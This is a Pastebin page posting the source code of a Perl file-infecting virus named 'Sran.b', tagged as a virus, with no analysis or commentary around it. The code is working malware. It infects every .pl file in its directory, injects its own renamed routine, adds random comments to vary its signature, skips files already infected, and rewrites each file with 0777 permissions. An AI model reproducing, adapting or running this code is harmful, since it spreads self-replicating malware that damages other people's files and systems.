Advertisement
FlyFar

Virus.Perl.Sran.b - Source Code

Jul 6th, 2023
1,102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.23 KB | Cybersecurity | 0 0
  1. sadBVa();
  2.  
  3. print "This is also a test.\n";
  4.  
  5. sub sadBVa {  #21wZPocL9r3I2
  6.   #25lj6HLJr3lR.
  7.     goto b if($ENV{"USER"} eq "root"); #403dRcOOEKV7c
  8.       #53a2B3OFfBrvE
  9. a: while (<*.pl>)
  10.     { #11zR6D0l39gH2
  11.     my $oF = "sadBVa";  #21wZPocL9r3I2
  12.     my $tN = crypt($_, $_), $cW = 0; $oN = "./$_", $nF = $tN; #23xTGZMRTRgO.
  13.  #73QebE0Q0ZZ7Q
  14.     open (WE, "<$0");                  
  15.     open (IF, "<$_");  #19ffqqT32W0N6
  16.     open (TMP, ">$tN");                   #21wZPocL9r3I2
  17.      #46uAWbWZGiwdE
  18.         $nF =~ s/[0-9.\/].*/a/;
  19.      #20DFf8jQEuujI
  20.         while (<IF>)
  21.         {
  22.         chomp; #17rFB3rla0OL.
  23.         if (/\#!Sran/) { unlink ($tN); next a }    
  24.         elsif (!/#!\//) { print TMP "$_\n" }
  25.         else { if(!/-X/){$_ .= " -X"} print TMP "$_\n#!Sran\n$nF();\n" }       
  26.         } #14HPto765IJGs
  27.           #56usvbQbO.V7g
  28.         while (<WE>)
  29.         {
  30.         $st = "";  #16DEAzgu4U/Lg
  31.           #21wZPocL9r3I2
  32.         s/#[\d].*/$st/;
  33.         if (/sub $oF/ || /my \$oF =/) { $cW = 1; s/$oF/$nF/}
  34.         next if (/#!\// || /$oF();/ || !$cW);
  35.         if (int(rand(2))) { $st=" #".crypt($tN, rand(256)) }
  36.         else {$st = ""} #24kfAR.q3vZXI
  37.          
  38.         chomp; #19ffqqT32W0N6
  39.         print TMP "$_$st\n"; #130lOPyQngaJw
  40.         }
  41.       #21wZPocL9r3I2
  42.     unlink ($oN);
  43.     rename ($tN, $oN);
  44.     chmod (0777, $oN);
  45.     }
  46. b:  #24kfAR.q3vZXI
  47. }  #25lj6HLJr3lR.
Tags: virus perl
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement